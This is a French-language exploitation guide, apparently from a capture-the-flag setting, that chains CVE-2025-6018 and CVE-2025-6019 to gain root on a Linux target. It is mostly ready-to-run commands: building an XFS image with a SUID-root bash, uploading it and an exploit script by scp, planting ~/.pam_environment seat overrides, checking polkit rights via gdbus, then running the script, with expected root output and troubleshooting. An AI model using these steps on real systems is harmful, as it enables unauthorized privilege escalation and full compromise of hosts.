CVE-2025-6018 + CVE-2025-6019 Guide d'élévation de privilèges

📋 Étapes d'exploitation rapides

Étape 1 : Préparer l'image XFS (machine locale)

# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# Verify (should show 300M)
ls -lh xfs.image

---

Étape 2 : Télécharger les fichiers sur la cible

# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/

---

Étape 3 : Première connexion - Configurer PAM

# SSH login to target
ssh [email protected]

# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

# Verify configuration
cat ~/.pam_environment

# 🔥 Critical: Logout (to activate PAM config)
exit

---

Étape 4 : Deuxième connexion - Exécuter l'élévation de privilèges

# Re-login via SSH (PAM config now active)
ssh [email protected]

# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot

# Execute privilege escalation script
bash exp.sh

---

✅ Indicateurs de succès

Si l'exploitation réussit, vous devriez voir :

✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!

════════════════════════════════════════════════════════════
║ ROOT FLAG                                               ║
║ <flag_here>                                             ║
════════════════════════════════════════════════════════════

bash-5.2# whoami
root

---

🔧 Dépannage

Problème	Solution
CanReboot renvoie ('no',)	Assurez-vous de vous être déconnecté puis reconnecté (étape 3)
Erreur Not authorized	Vérifiez que le contenu de ~/.pam_environment est correct
SUID bash non trouvé	Ré-téléchargez xfs.image et vérifiez que le bit SUID est défini

---

📌 Points clés

• ✅ Déconnexion et reconnexion obligatoires : La configuration PAM ne prend effet que dans les nouvelles sessions
• ✅ Vérifier CanReboot : Confirmez qu'il renvoie ('yes',) avant d'exécuter le script
• ✅ Utiliser une connexion SSH : N'utilisez pas l'exécution de style ssh -t user@host "cmd"

---

🐱 Gardien chat

Si cela échoue, assurez-vous que chaque étape est exécutée strictement dans l'ordre !